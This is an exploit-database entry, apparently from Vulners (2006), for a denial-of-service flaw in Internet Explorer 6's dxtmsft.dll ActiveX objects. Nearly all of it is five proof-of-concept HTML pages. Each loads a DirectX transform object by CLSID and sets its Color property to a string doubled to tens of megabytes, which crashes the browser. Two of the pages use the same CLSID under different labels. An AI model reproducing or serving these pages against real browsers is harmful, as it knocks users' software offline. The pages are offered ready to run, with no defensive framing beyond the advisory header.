Microsoft IE dxtmsft.dll Multiple ActiveX COM Object DoS

🗓️ 08 Dec 2006 00:00:00Reported by RootType

Microsoft IE dxtmsft.dll ActiveX DoS Vulnerabilit


                                                //test on vmware xp sp2,IE 6
//crash poc1,IDXTMask
<html>
<object classid='clsid:ADC6CB86-424C-11D2-952A-00C04FA34F05' id='target' /></object>
<script language='javascript'>

var b = "AAAA";

while(b.length < 0x2000000)
{
b += b;
}
target.Color=b;

</script>
</html>

//crash poc2,DXTChroma
<html>
<object classid='clsid:421516C1-3CF8-11D2-952A-00C04FA34F05' id='target' /></object>
<script language='javascript'>

var b = "AAAA";

while(b.length < 0x2000000)
{
b += b;
}
target.Color=b;

</script>
</html>

//crash poc3,DXTGlow
<html>
<object classid='clsid:9F8E6421-3D9B-11D2-952A-00C04FA34F05' id='target' /></object>
<script language='javascript'>

var b = "AAAA";

while(b.length < 0x2000000)
{
b += b;
}
target.Color=b;

</script>
</html>

//crash poc4,IDXTDropShadow
<html>
<object classid='clsid:ADC6CB86-424C-11D2-952A-00C04FA34F05' id='target' /></object>
<script language='javascript'>

var b = "AAAA";

while(b.length < 0x2000000)
{
b += b;
}
target.Color=b;

</script>
</html>

//crash poc5,DXTShadow
<html>
<object classid='clsid:E71B4063-3E59-11D2-952A-00C04FA34F05' id='target' /></object>
<script language='javascript'>

var b = "AAAA";

while(b.length < 0x2000000)
{
b += b;
}
target.Color=b;

</script>
</html>

08 Dec 2006 00:00Current

6.6Medium risk

Vulners AI Score6.6